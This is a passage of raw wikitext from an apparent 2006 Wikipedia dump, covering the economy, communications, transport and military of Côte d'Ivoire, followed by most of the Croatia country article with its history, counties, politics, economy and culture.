Since the [[colonial]] period, Côte d'Ivoire's economy has been based on the production and export of tropical products. Agriculture, forestry, and [[fisheries]] account for more than one-third of GDP and two-thirds of exports. Côte d'Ivoire produces 40% of the world's cocoa crop and is a major exporter of [[banana]]s, [[coffee]], [[cotton]], [[palm oil]], [[pineapple]], [[rubber]], [[tropical wood product]]s, and [[tuna]]. The 1994 devaluation of the CFA franc and accompanying structural adjustment measures generally favored the agricultural sector by increasing competitiveness. However, reliance on raw cocoa and coffee exports, which account for 40% of total exports, exposes the economy to sharp price swings on world markets for these commodities. The government encourages export diversification and intermediate processing of cocoa beans to reduce this exposure. Cocoa beans exports to the U.S. increased sharply in 1996 due to lower freight rates.

The four years following the January 12, 1994, devaluation of the CFA franc saw Côte d'Ivoire return to the rapid economic growth it knew in the [[1960s]] and [[1970s]]. The spur provided by the devaluation, by increased aid flows, rigorous [[macroeconomics|macroeconomic]] policies, and fortuitous international [[commodity]] prices yielded strong GDP growth in both 1996 and [[1997]]. In addition to these factors, the long period of pre-devaluation stagnation, in which local businesses and potential outside investors put off capital expenditure, caused a boom in investment following the devaluation. Côte d'Ivoire has also begun to turn the corner on its daunting debt problem: first with a generous rescheduling of official bilateral debt at the [[Paris Club]] in March 1994; more recently, with a tentative [[London Club]] agreement in November 1996, and the April 1997 decision by the [[G-7]] countries to include Côte d'Ivoire in the new [[IMF]]-[[World Bank]] debt forgiveness initiative for highly indebted poor countries.

Côte d'Ivoire's recent economic performance has been impressive, particularly in 1995 and 1996. Real GDP growth was 7% in 1995, 6.8% in 1996, and an estimated 6% in 1997. The country has been meeting its IMF targets for growth, inflation, government finance, and [[balance]] of payments. Traditional commodity exports were boosted both by the devaluation (though improved prices in local currency terms were only partially passed through to farmers) and by higher world prices for cocoa and coffee. At the same time, the devaluation and the generally favorable business environment produced growth in nontraditional crops, local processing of commodities, and the services sector.

In 1996 and 1997, inflation continued the downward trend begun after the devaluation, when the government kept a tight lid both on salary increases and on the size of the [[public sector]] work force. Inflation as measured by the increase in the [[consumer price index]] has fallen sharply, from 1994's post-devaluation 32.2% to 7.7% in [[1995]], 3.5% in 1996, and an estimated 5% in 1997.

Public sector finances are another bright spot: Government revenues are on a strongly rising trend since 1993, capped by a 15% increase from 1995 to 1996. The stronger revenue picture, when combined with restraint on the spending side, has resulted in three years of primary surpluses (i.e., receipts minus expenditure, excluding borrowing and debt service). Following a concerted government repayment effort, domestic arrears had been virtually eliminated by the end of 1996.

The outlook for the near and medium term in Côte d'Ivoire remains positive. The government hopes to attain double-digit real GDP growth, but this appears achievable only in a best-case scenario, including continued or enhanced investment flows, additional oil or [[mineral]] production, and no drop in world commodity prices; short of this optimistic scenario, a continuation of 6% or 7% growth seems likely for the near term.

==Economic Data==

* '''GDP:''' [[purchasing power parity]] - $24.78 billion (2004 est.)
* '''GDP - real growth rate:''' -1% (2004 est.)
* '''GDP - per capita:''' purchasing power parity - $1,500 (2004 est.)
* '''GDP - composition by sector:''' 
**''agriculture:'' 27.8%
**''industry:'' 19.4%
**''services:'' 52.8% ([[2004]])
* '''Population below poverty line:''' 37% (1995 est.)
* '''Household income or consumption by percentage share:'''
**''lowest 10%:'' 3.1%
**''highest 10%:'' 28.8% ([[1995]])
* '''Inflation rate (consumer prices):''' 2.5% (1999 est.)
* '''Labor force:''' N/A
* '''Unemployment rate:''' N/A
* '''Budget:'''
**''revenues:'' $2.3 billion
**''expenditures:'' $2.6 billion, including capital expenditures of $640 million (1997 est.)
* '''Industries:''' foodstuffs, [[beverage]]s; wood products, [[oil refining]], [[automobile industry|automobile assembly]], [[textile]]s, [[fertilizer]], [[construction]] materials, electricity
* '''Industrial production growth rate:''' 15% (1998 est.)
* '''Electricity - production:''' 3,360 GWh (1998)
* '''Electricity - production by source:'''
**''[[fossil fuel]]:'' 35.71%
**''[[hydroelectricity|hydro]]:'' 64.29%
**''[[nuclear power|nuclear]]:'' 0%
**''other:'' 0% (1998)
* '''Electricity - consumption:''' 3,165 GWh (1998)
* '''Electricity - exports:''' 0 kWh (1998)
* '''Electricity - imports:''' 40 GWh (1998)
* '''Agriculture - products:''' coffee, cocoa beans, bananas, palm kernels, [[maize]], rice, [[manioc]] ([[tapioca]]), [[sweet potato]]es, [[sugar]], cotton, rubber; timber
* '''Exports:''' $3.9 billion (f.o.b., 1999 est.)
* '''Exports - commodities:''' cocoa(37%), coffee, tropical woods, petroleum, cotton, bananas, pineapples, palm oil, cotton, [[fish]] (1998)
* '''Exports - partners:''' France (17%), [[Netherlands]] (12%), [[United States]] (9%), [[Italy]] (6%) (1998)
* '''Imports:''' $2.6 billion (f.o.b., 1999 est.)
* '''Imports - commodities:''' food, consumer goods; capital goods, fuel, transport equipment
* '''Imports - partners:''' France (29%), United States (5%), Italy (5%), [[Germany]] (5%) (1998)
* '''Debt - external:''' $16.8 billion (1998 est.)
* '''Economic aid - recipient:''' ODA, $1 billion (1996 est.)
* '''Currency:''' [[Communauté Financière Africaine franc]] (CFAF) = 100 centimes
* '''[[Exchange rate]]s:''' CFA francs (CFAF) per US$1 - 647.25 (January 2000), 615.70 (1999), 589.95 (1998), 583.67 (1997), 511.55 (1996), 499.15 (1995)
**''note:'' since [[1 January]] 1999, the CFAF is pegged to the [[euro]] at a rate of 655.957 CFA francs per euro
* '''[[Fiscal year]]:''' calendar year

==See also==
* [[Politics of Côte d'Ivoire]]
* [[Départements of Côte d'Ivoire]]
* [[Geography of Côte d'Ivoire]]
* [[Demographics of Côte d'Ivoire]]
* [[Economy of Africa]]

{{WTO}}
[[Category:WTO members|Côte d'Ivoire]]
[[Category:Economies by country|Côte d'Ivoire]]
[[Category:Côte d'Ivoire]]
[[Category:African Union member economies|Côte d'Ivoire]]
[[he:&amp;#1499;&amp;#1500;&amp;#1499;&amp;#1500;&amp;#1514; &amp;#1495;&amp;#1493;&amp;#1507; &amp;#1492;&amp;#1513;&amp;#1504;&amp;#1492;&amp;#1489;]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Côte d'Ivoire</title>
    <id>5569</id>
    <revision>
      <id>41398112</id>
      <timestamp>2006-02-27T01:42:13Z</timestamp>
      <contributor>
        <username>Niran</username>
        <id>190872</id>
      </contributor>
      <comment>added updated World Factbook info</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
328,000 (2003)

'''Telephones - mobile cellular:'''
more than 60,000 (December 1998)
1.236 million (2003)

'''Telephone system:'''
well-developed by African standards but operating well below capacity
&lt;br&gt;''domestic:''
open-wire lines and [[microwave]] radio relay; 90% digitalized
&lt;br&gt;''international:''
[[satellite]] earth stations - 2 Intelsat (1 Atlantic Ocean and 1 Indian Ocean); 2 coaxial submarine cables (June 1999)

'''[[Radio]] broadcast stations:'''
[[AM broadcasting|AM]] 2, [[FM]] 9, [[shortwave radio|shortwave]] 3 (1998)

'''Radios:'''
2.26 million (1997)

'''[[Television]] broadcast stations:'''
14 (1999)

'''Televisions:'''
900,000 (1997)

'''[[Internet]] hosts:'''
3,795 (2004)

'''Internet users:'''
90,000 (2002)

'''Internet Service Providers ([[ISP]]s):'''
2 Africaonline and Aviso

'''[[Country codes]]:''' CI

:''See also :'' [[Côte d'Ivoire]]

{{factbook}}
[[Category:Communications by country|Côte d'Ivoire]]
[[Category:Côte d'Ivoire]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Côte d'Ivoire</title>
    <id>5570</id>
    <revision>
      <id>37832233</id>
      <timestamp>2006-02-02T11:49:42Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Côte d'Ivoire]] to [[Transport in Côte d'Ivoire]]: part of a series</comment>
      <text xml:space="preserve">== Railways ==
&lt;br&gt;''total:''
660 km
&lt;br&gt;''narrow gauge:''
660 km 1.000-meter gauge; 25 km double track (1995 est.)

=== Railway links with adjacent countries ===

* [[Transportation in Burkina Faso|Burkina Faso]] - yes - 1000mm
* [[Transportation in Ghana|Ghana]] - no - [[break-of-gauge]] 1000mm/1067mm
* [[Transportation in Liberia|Liberia]] - no
* [[Transportation in Guinea|Guinea]] - no
* [[Transportation in Mali|Mali]] - no

== Highways ==
&lt;br&gt;''total:''
50,400 km
&lt;br&gt;''paved:''
4,889 km
&lt;br&gt;''unpaved:''
45,511 km (1996 est.)

== Waterways ==
980 km navigable rivers, canals, and numerous coastal lagoons

== Ports and harbors ==
[[Abidjan]], [[Aboisso]], [[Dabou]], [[San Pédro|San-Pedro]]

== Merchant marine ==
&lt;br&gt;''total:''
1 ship (1,000 GRT or over) totaling 1,200 GRT/1,500 DWT
&lt;br&gt;''ships by type:''
petroleum tanker 1 (1999 est.)

== Airports ==
36 (1999 est.)[[Nouvelle Air Ivoire]] is the national carrier of Côte d'Ivoire. Recently formed from the failed [[Air Ivoire]], the airline operates an aging* fleet of Western built aircraft. The airline is owned by Air France and the U.S. Finance company AIG. Prior to its reformation, the airline was forced to cease operations a number of times due to technical and financial difficulties.

'''Security/Safety Concerns'''  
There is rampant corruption among airport officials in Côte d'Ivoire. Immigration officials have been known to ask for bribes to 'expedite' processing the forms, or to offer to fill out the customs forms prior to demanding a 'fee' for doing so. The anti-French sentiment, peaking in early 2003, spilled over onto airports when 1,500 French nationals were trapped in Abidjan's airport by an anti-French mob.


=== Airports - with paved runways ===
&lt;br&gt;''total:''
7
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
2
&lt;br&gt;''1,524 to 2,437 m:''
4 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
29
&lt;br&gt;''1,524 to 2,437 m:''
8
&lt;br&gt;''914 to 1,523 m:''
12
&lt;br&gt;''under 914 m:''
9 (1999 est.)

== See also ==

* [[Côte d'Ivoire]]


{{CIAfb}}

{{Africa in topic|Transport in}}

[[Category:Côte d'Ivoire]]
[[Category:Transportation by country|Côte d'Ivoire]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Côte d'Ivoire</title>
    <id>5571</id>
    <revision>
      <id>25066475</id>
      <timestamp>2005-10-08T16:27:09Z</timestamp>
      <contributor>
        <username>SPUI</username>
        <id>113059</id>
      </contributor>
      <comment>dab</comment>
      <text xml:space="preserve">The 17,000-man Ivorian Armed Forces (FANCI) include an [[army]], [[navy]], [[air force]], and [[gendarmerie]]. The [[Joint Staff]] is assigned to the FANCI Headquarters in [[Abidjan]]. A two-star officer serves as the chief of staff and commander of the FANCI.

'''Military branches:''' Army, Navy, Air Force, paramilitary Gendarmerie, Republican Guard (includes Presidential Guard), Sapeur-Pompier (Military Fire Group)

== Figures ==
'''Military manpower'''
* Military age: 18 years of age
* Availability: ''males age 15-49:'' 3,743,353 (2000 est.)
* Fit for military service: ''males age 15-49:'' 1,952,882 (2000 est.)
* Reaching military age annually: ''males:'' 182,936 (2000 est.)

'''Military expenditures'''
* Dollar figure: $94 million (fiscal year [[1996]])
* Percent of Gross Domestic Product: 1% (fiscal year [[1996]])

== Military regions ==
[[Côte d'Ivoire]] is broken down into five military regions, each commanded by a [[colonel]]:

* The army has the majority of its forces in the First Military Region concentrated in and around Abidjan, its principal units there being a rapid intervention [[battalion]] (airborne), an [[infantry]] battalion, an armored battalion, and an air defense [[artillery]] battalion.
* The Second Military Region is located in [[Daloa]] and is assigned one infantry battalion.
* The Third Military Region is headquartered in [[Bouaké]] and is home to an artillery, an infantry, and an engineer battalion.
* The Fourth Military Region maintains only a Territorial Defense Company headquartered in [[Korhogo]].
* The fifth region is the Western Operational Zone, a temporary command created to respond to the security threat caused by the [[civil war]] in neighboring [[Liberia]].

== Gendarmerie ==
The gendarmerie is roughly equivalent in size to the army. It is a national [[police]] force which is responsible for territorial security, especially in [[rural]] areas. In times of national crisis the gendarmerie could be used to reinforce the army. The gendarmerie is commanded by a [[colonel-major]] and is comprised of four Legions, each corresponding to one of the four numbered military regions, minus the temporary military operational zone on the western border.

== Navy ==
Côte d'Ivoire has a brown-water navy whose mission is [[coast]]al surveillance and security for the nation's 340-mile coastline. It has two fast-attack craft, two patrol crafts, and one light transport ship. It also has numerous smaller vessels used primarily for traffic, [[immigration]], and [[contraband]] control within the [[lagoon]] system.

== Air Force ==
Recent reports suggest that the Ivory Coast no longer has any aircraft remaining in its Air Force. Until recent French attacks which appear to have destroyed all of its aircraft, it was believed to have in its inventory 5 [[Dassault-Breguet/Dornier Alpha Jet|Alpha Jet]]s, 12 transport/utility [[aircraft]], and 2 [[helicopter]]s.

Two jets belonging to the Ivorian Air Force were destroyed by the [[France|French]] military in retaliation for an Ivorian military attack on a French military base on [[November 6]] [[2004]]. [http://news.bbc.co.uk/1/hi/world/africa/3989127.stm (BBC)]

French forces destroyed a number of aircraft, including three [[Mil Mi-24]] helicopters and two [[Sukhoi Su-25]] ground-attack aircraft.

== International agreements ==
A mutual defense accord signed with [[France]] in [[1961]] provides for the stationing of [[Military of France|French forces]] in Côte d'Ivoire. The 43rd [[French Marines|Marine]] Infantry Battalion is based in [[Port Bouet]] adjacent to the [[Abidjan Airport]] and has more than 500 troops assigned.

== See also ==
* [[Côte d'Ivoire]]
* [[Politics of Côte d'Ivoire]]
* [[Foreign relations of Côte d'Ivoire]]

[[Category:Military of Côte d'Ivoire| Military of C&amp;ocirc;te d'Ivoire]]

[[fr:Forces armées nationales de Côte d'Ivoire]]</text>
    </revision>
  </page>
  <page>
    <title>Croatia</title>
    <id>5573</id>
    <revision>
      <id>42137033</id>
      <timestamp>2006-03-04T01:43:15Z</timestamp>
      <contributor>
        <username>Dr.Gonzo</username>
        <id>204836</id>
      </contributor>
      <comment>/* History */  rv edits by anonymous --&gt; SERBS AND SERBIA HAVE THEIR OWN ARTICLES, YOU MAY ADD ANYTHING PERTINENT THERE. Please stop vandalizing!</comment>
      <text xml:space="preserve">The '''Republic of Croatia''' is a crescent-shaped country in [[Europe]] bordering the [[Mediterranean]] to the South, [[Central Europe]] to the North and the [[Balkans]] to the Southeast. Its [[capital city|capital]] is [[Zagreb]]. In recent [[history of Croatia|history]], it was a [[republic]] in the [[Socialist Federal Republic of Yugoslavia|SFR Yugoslavia]], but it achieved independence in [[1991]]. It is a [[enlargement of the European Union|candidate]] for [[EU member states|membership]] of the [[European Union]].&lt;!--BEGIN INFOBOX

To change the text of the article, just go below the Infobox. The Infobox represents the informations given in the table on the right. 
--&gt;
{{Infobox_Country|
native_name = Republika Hrvatska&lt;br&gt;Republic of Croatia |
common_name = Croatia |
image_flag = Flag_of_Croatia.svg |
image_coat = Croatian_Coat_of_Arms.svg |
image_map = LocationCroatia.png |
national_motto = none |
national_anthem = [[Lijepa naša domovino]] |
official_languages = [[Croatian language|Croatian]]&lt;sup&gt;1&lt;/sup&gt;|
capital = [[Zagreb]] |
latd=45|latm=48|latNS=N|longd=16|longm=0|longEW=E|
largest_city = [[Zagreb]] |
government_type= Democratic [[republic]] |
leader_titles = [[Presidents of Croatia|President]]&lt;br&gt;[[Prime ministers of Croatia|Prime minister]]|
leader_names = [[Stjepan Mesić]] &lt;br&gt; [[Ivo Sanader]] |
area_rank = 124th |
area_magnitude = 1_E10 |
area=56,542 |
areami² = 21,831 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
percent_water = 0.01 |
population_estimate = 4,496,869 |
population_estimate_year = July 2004 |
population_estimate_rank = 117th |
population_census = 4,437,460|
population_census_year = 2001|
population_density = 83 |
population_densitymi²    = 215 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank = 116th |
GDP_PPP_year=2005 |
GDP_PPP = $55,638 million |
GDP_PPP_rank = 72nd |
GDP_PPP_per_capita = $12,364 |
GDP_PPP_per_capita_rank = 56th |
HDI_year = 2003 |
HDI = 0.841 |
HDI_rank = 45th |
HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt; |
sovereignty_type = [[Independence]] |
established_events =  |
established_dates = [[June 25]], [[1991]] |
currency = [[Kuna (currency)|Kuna (kn)]]&amp;nbsp; |
currency_code = HRK |
time_zone= [[Central European Time|CET]] |
utc_offset= +1 |
time_zone_DST= [[Central European Summer Time|CEST]] |
utc_offset_DST= +2 |
cctld= [[.hr]] |
calling_code = 385 |
footnotes= &lt;sup&gt;1&lt;/sup&gt;Locally also [[Italian language|Italian]] in [[Istria county]]. |
}}

&lt;!-- END INFOBOX --&gt;


== Name ==

''Croatia'' is the [[Latin]]ized version of the native name of the country: '''Hrvatska''' {{Audio|Hrvatska.ogg|listen}}. The letter &quot;r&quot; in the first syllable &quot;hrv&quot; is ''rolled'' or [[continuant]].

However, instead of the Latinized version, many languages use a form more similar to the native one. Various forms are [http://en.wiktionary.org/wiki/Croatia#Translations listed in Wiktionary].

The country code for Croatia is [[HR]] (per [[ISO 3166]]), so Croatian Internet root domain end with [[.hr]]. Croatian alphabet consists of 30 letters (official character set is ''ISO-8859-2'', but Microsoft's ''Windows-1250'' character set is also used very often).

== History ==
''Main article: [[History of Croatia]]''

[[Croats]] came to [[Dalmatia]] and [[Pannonia]] in the [[7th century]]. Ruled by various [[List of rulers of Croatia|Croatian Princes]], [[Dukes]] since [[852]], Dalmatia eventually absorbed Pannonia and after periods of nominal [[Byzantine Empire|Eastern Roman]] and then [[Frankish]] Imperial rule, Croatia eventually became a strong independent [[Kingdom]] in [[924]]. In [[1102]] the Croatians ended a decades-long dynastic struggle by agreeing to submit themselves to [[Hungary|Hungarian]] Royal authority. 

By the mid-1400s, the [[Kingdom of Hungary|Hungarian kingdom]] was gravely hurt by the [[Ottoman Empire|Ottoman]] expansion as much of the mountainous country now known as [[Bosnia and Herzegovina]] fell to the Turks. At the same time, [[Dalmatia]] became mostly [[Republic of Venice|Venetian]]. [[Dubrovnik]] was a [[city-state]] that was firstly [[Byzantine Empire|Byzantine]] (Roman) and Venetian, but later, unlike other Dalmatian city-states, it became independent as [[Republic of Dubrovnik]], even if it was often under the [[suzerainty]] of neighboring powers.

The [[Battle of Mohács]] in [[1526]] led the [[Croatian Parliament]] to invite the [[Habsburg]]s to assume control over Croatia. Habsburg rule eventually did prove to be successful in thwarting the Ottomans, and by the 18th century, much of Croatia was free of Turkish control. The odd crescent shape of the Croatian lands remained as a mark, more or less, of the frontier to the Ottoman advance into Europe. [[Istria]], Dalmatia and Dubrovnik all eventually passed to the [[Habsburg Monarchy]] between [[1797]] and [[1815]].

[[Image:Hr-map.png|framed|Map of Croatia]]
Following [[World War I]], Croatia joined the [[State of Slovenes, Croats and Serbs]] (comprising what is today, [[Slovenia]], Croatia and [[Bosnia and Herzegovina|Bosnia]]). Shortly thereafter, this joint state in turn formed a union with [[Serbia]] to form the [[Kingdom of Serbs, Croats and Slovenes]] (which eventually became [[Kingdom of Yugoslavia|Yugoslavia]] in [[1929]]). [[Yugoslavia]] was invaded during [[World War II]] and Croatia was turned into a [[fascist]] puppet-state named [[Independent State of Croatia]]. When the Axis powers were defeated, Yugoslavia became a federal [[communist state|socialist state]].

Along with Slovenia, Croatia declared her independence from [[Yugoslavia]] on [[June 25]], [[1991]], which triggered the [[Croatian War of Independence]]. Belgrade rejected the new country and the ensuing months saw combat between various Croatian armed forces and the Belgrade-based [[YNA]] (Yugoslav National Army). In early 1992, Germany recognised Croatia, with many other influential countries following suit; finally the remainder of Yugoslavia was compelled to recognise the newly independent states, and as such, the Yugoslav security forces withdrew.

A [[Serb]] poplation living in some areas of Croatia then revolted and proclaimed their own state - [[Republic of Serbian Krajina]]. They were supported by the [[JNA|Yugoslav army]]. In [[1995]], the Croatian Army successfully launched two major offensives to retake the rebel areas by force, leading to a mass exodus of the Serbian population. A few months later, as a result, the war ended upon the negotiation of the [[Dayton Agreement]]. A peaceful integration of the remaining Serbian-controlled territories was completed in [[1998]] under [[UN]] supervision.

Croatia is currently in the process of joining the [[European Union]], accession negotiations started in December 2005.

== Counties ==
[[Image:City of Korcula, Island of Korcula, Croatia.jpg|thumb|right|150px|City of [[Korčula]], Island of Korčula]]
[[Image:Dubrovnik (near), Croatia.jpg|thumb|right|150px|[[Dubrovnik]]]]
[[Image:Amphitheater (external view), Pula, Istria, Croatia.jpg|thumb|right|150px|Amphitheater in [[Pula]], [[Istria]]]]
''Main article: [[Counties of Croatia]]''

Croatia is divided into 20 counties (Croatian: županija) and the city district of the capital, Zagreb*:

# [[Zagreb county]] (Zagrebačka županija)
# [[Krapina-Zagorje county]] (Krapinsko-zagorska županija)
# [[Sisak-Moslavina county]] (Sisačko-moslavačka županija)
# [[Karlovac county]] (Karlovačka županija)
# [[Varaždin county]] (Varaždinska županija)
# [[Koprivnica-Križevci county]] (Koprivničko-križevačka županija)
# [[Bjelovar-Bilogora county]] (Bjelovarsko-bilogorska županija)
# [[Primorje-Gorski Kotar county]] (Primorsko-goranska županija)
# [[Lika-Senj county]] (Ličko-senjska županija)
# [[Virovitica-Podravina county]] (Virovitičko-podravska županija)
# [[Požega-Slavonia county]] (Požeško-slavonska županija)
# [[Brod-Posavina county]] (Brodsko-posavska županija)
# [[Zadar county]] (Zadarska županija)
# [[Osijek-Baranja county]] (Osječko-baranjska županija)
# [[Šibenik-Knin county]] (Šibensko-kninska županija)
# [[Vukovar-Srijem county]] (Vukovarsko-srijemska županija)
# [[Split-Dalmatia county]] (Splitsko-dalmatinska županija)
# [[Istria county]] (Istarska županija)
# [[Dubrovnik-Neretva county]] (Dubrovačko-neretvanska županija)
# [[Međimurje county]] (Međimurska županija)
# [[Zagreb]] (Grad Zagreb)*


See also: [[List of cities in Croatia]]

== Geography ==
''Main article: [[Geography of Croatia]]''

[[Image:Plitvice lakes.JPG|thumb|right|150px|The [[Plitvice Lakes]], a [[UNESCO]]-[[World Heritage]] Site]]
[[Image:Pakleni otoci (Hell's Islands) near Hvar, Croatia.jpg|thumb|right|150px|Hell's Islands (Pakleni otoci) near [[Hvar]]]]
[[Image:Brela, Southern Dalmatia, Croatia.jpg|thumb|150px|right|[[Brela]], Southern Dalmatia]]
Croatia is situated between central, southern, and eastern Europe. It has a rather peculiar shape that resembles a crescent or a horseshoe which helps account for its many neighbours: [[Slovenia]], [[Hungary]], the [[Serbia]]n part of [[Serbia and Montenegro]], [[Bosnia and Herzegovina]], the [[Montenegro|Montenegrin]] part of Serbia and Montenegro, and [[Italy]] across the Adriatic (disputed, see [[Foreign_relations_of_Croatia#Slovenia|Slovenia-Croatia border dispute]]). Its mainland territory is split in two non-contiguous parts by the short coastline of Bosnia and Herzegovina around [[Neum]].

Its terrain is diverse, containing:
* plains, lakes and rolling hills in the continental north and northeast (Central Croatia and [[Slavonia]], part of the [[Pannonian plain]]);
* densely wooded mountains in [[Lika]] and Gorski Kotar, part of the [[Dinaric Alps]];
* rocky coastlines on the [[Adriatic Sea]] ([[Istria]], Northern Seacoast and [[Dalmatia]]).

The country is famous for it's many beautiful [[List of national parks of Croatia|national parks]].


Croatia has a mixture of [[climate]]s. In the north and east it is continental, Mediterranean along the coast and a semi-highland and highland climate in the south-central region.

== Politics ==
===Political system===
''Main article: [[Politics of Croatia]]''

Since the adoption of the [[1990]] [[Constitution of Croatia|Constitution]], Croatia has been a [[parliamentary democracy]].
{| class=&quot;toccolours&quot; align=&quot;right&quot; style=&quot;margin: 0.5em&quot;
|-
| style=&quot;background:#ccccff&quot; align=&quot;center&quot; | '''Croatia is a member of:'''
|-
| align=&quot;center&quot; style=&quot;font-size: 90%;&quot; | [[United Nations]]
|-
| align=&quot;center&quot; style=&quot;font-size: 90%;&quot; | [[Council of Europe]]
|-
| align=&quot;center&quot; style=&quot;font-size: 90%;&quot; | [[Organization for Security and Co-operation in Europe|OSCE]]
|-
| align=&quot;center&quot; style=&quot;font-size: 90%;&quot; | [[Partnership for Peace]]
|-
| align=&quot;center&quot; style=&quot;font-size: 90%;&quot; | [[Foreign relations of Croatia#International organizations|Other organizations]]
|}
The [[Presidents of Croatia|President of the Republic]] (''Predsjednik'') is [[head of state]] and elected for a five-year term, and the Prime Minister is Head of Government. In addition to being the [[commander in chief]] of the armed forces, the president has the procedural duty of appointing the Prime minister with the consent of the Parliament, and has some influence on foreign policy.

The [[Croatian Parliament]] (''Sabor'') is a [[unicameral]] legislative body of not less then 100 and not more then 160 representatives, all elected by popular vote to serve four-year terms. The plenary sessions of the Sabor take place from January 15 to July 15, and from September 15 to December 15.

The [[Croatian Government]] (''Vlada'') is headed by the [[Prime ministers of Croatia|Prime minister]] who has 2 deputy prime ministers and 14 ministers in charge of particular sectors of activity. The executive branch is responsible for proposing legislation and a budget, executing the laws, and guiding the foreign and internal policies of the republic.

Croatia has a three-tiered judicial system, consisting of the [[Croatian Supreme Court|Supreme Court]], county courts, and municipal courts. The [[Croatian Constitutional Court|Constitutional Court]] rules on matters regarding the [[Constitution of Croatia|Constitution]].

''See also:'' [[Foreign relations of Croatia]]

===European Union===
''Main article: [[Enlargement of the European Union#Croatia|Croatian accession to the European Union]]

== Economy ==
''Main article: [[Economy of Croatia]]''
[[Image:Sibenik_(Croatia)_Cathedral_of_St_Jacob.jpg|thumb|right|150px|Cathedral of St. Jakob in [[Šibenik]]]]

Croatia has an economy based mostly on various [[Tertiary sector of industry|services]] and some, mostly light [[Secondary sector of industry|industry]]. [[Tourism]] is a notable source of income.
The estimated [[Gross Domestic Product]] per capita in [[purchasing power parity]] terms for 2004 was USD 11,200 or 41.6% of the [[European Union|EU]] average for the same year.

The Croatian economy is [[Post-Communism|post-communist]]. In the late 1980s, at the beginning of the process of economic [[transition]], its position was favourable, but it was gravely impacted by de-industrialization and war damages.

Main problems include massive structural [[unemployment]] followed by an insufficient amount of economic reforms. Of particular concern is the gravely backlogged [[judiciary]] system combined with inefficient [[public administration]], especially involving land ownership.

The country has since experienced faster [[economic growth]] and has been preparing for membership in the European Union, its most important [[international trade|trading partner]].

In February 2005, Croatia implemented the [[Stabilization and Association Agreement]] with the [[EU]] and is advancing further towards full EU membership. The country expects some major economic impulses and high growth rates in the following next years (currently Croatia suffers most from its high export deficit and considerable debt). Some big trading companies have already taken advantage of the liberalization of the Croatian market. Croatia is expecting a boom in investments, especially [[Greenfield land|greenfield]] investments.

== Demographics ==
''Main article: [[Demographics of Croatia]]''

[[Image:Costume from Konavle near Dubrovnik, Croatia.jpg|thumb|right|150px|Girl wearing costume from [[Konavle]] near [[Dubrovnik]]]]
The population of Croatia has been stagnating over the last decade. The 1991-1995 war in Croatia had previously displaced large parts of the population and increased emigration. The natural growth rate is minute or negative (less than +/- 1%), as the [[demographic transition]] has been completed half a century ago. Average life expectancy is approximately 75 years, and the literacy rate is 98.5%.

Croatia is inhabited mostly by [[Croats]] (89.6%). There are around twenty minorities, [[Serbs]] being the biggest one (4.5%), others having less than 0.5% each. The predominate religion is [[Roman Catholic Church|Catholicism]] (87.8%), with some [[Eastern Orthodoxy|Orthodox]] (4.4%) and [[Sunni Muslim]] (1.3%) minorities.

The official and common language, [[Croatian language|Croatian]], is a South [[Slavic language]], using the [[Latin alphabet]]. Less than 5% of the population cites other language as their mother tongues.

== Culture ==
''Main article: [[Culture of Croatia]]''

[[Image:Zadar - église Saint-Donat.jpg|thumb|right|170px|St. Donatus' Church - the monumental building in the pre Romanesque style from 9th century [[Zadar]]]]
Croatian culture is based on a [[Culture of Croatia#History|thirteen century long history]] during which the country has attained many monuments and cities, which gave birth to a good number of [[Culture of Croatia#People|brilliant individuals]]. The country includes [[Culture of Croatia#Places|six World Heritage sites and eight national parks]]. Two [[Nobel prize]] winners came from Croatia, as did numerous important inventors and [[List of Croatians|other notable people]] — notably, some of the first [[fountain pen]]s came from Croatia. 

Croatia also has a place in the history of clothing as the origin of the [[necktie]] (''cravat''). The country has a long [[Culture of Croatia#Arts and literature|artistic, literary]] and [[Music of Croatia|musical tradition]]. Of particular interest is also the diverse [[Croatian cuisine|cuisine]].

== Famous Croats ==
[[Image:Alka tournament, Sinj, Croatia.jpg|thumb|150px|right|[[Alka]] in [[Sinj]]]]

For a full list see [[List of Croatians|List of Croats]].


'''Nobel Prize winners'''
* [[Vladimir Prelog]] - [[chemistry]]
* [[Lavoslav Ružička]] - [[chemistry]]

'''Literature'''
* [[Miroslav Krleža]] - novelist
* [[Antun Gustav Matoš]] - poet
* [[August Šenoa]] - writer
* [[Marko Marulić]] - writer
* [[Ivan Gundulić|Ivan Dživo Gundulić]] - poet

'''Science'''
* [[Rudjer Boskovic|Ruđer Bošković]] - physicist and Jesuit
* [[Faust Vrančić]] - philosopher, thinker

'''Sport'''
* [[Davor Suker|Davor Šuker]] - [[football (soccer)|football]] player, Top scorer [[Football World Cup 1998]]
* [[Zvonimir Boban]] - [[football (soccer)|football]] player
* [[Dario Šimić]] - AC Milan defender
* [[Drazen Petrovic|Dražen Petrović]]- basketball player
* [[Toni Kukoč]]- basketball player
* [[Goran Ivanišević]] - tennis player, [[The Championships, Wimbledon|Wimbledon]] winner
* [[Ivan Ljubičić]] - tennis player, [[Davis Cup]] winner
* [[Janica Kostelic|Janica Kostelić]] - World ski champion, gold Olympic medal winner
* [[Ivica Kostelic|Ivica Kostelić]] - World ski champion, silver Olympic medal winner
* [[Mirko Filipović]] - kickboxer and [[mixed martial artist]]

'''Politics'''
* Ban [[Josip Jelačić]] - politician, soldier
* [[Ante Starčević]] - politician
* [[Stjepan Radić]] - politician
* [[Josip Broz]] - Tito - politician and guerilla leader
* [[Franjo Tuđman]] - politician , first Croatian president
* [[Don Mihovil Pavlinović]] - politician, priest, writer

==See also==
* [[Communications in Croatia]]
* [[Transportation in Croatia]]: recent highway construction progress, buses, railways and airports in Croatia
* [[Military of Croatia]]
* [[Holidays in Croatia]]
* [[Tourism in Croatia]]
* [[List of Croatians]]

==Literature==
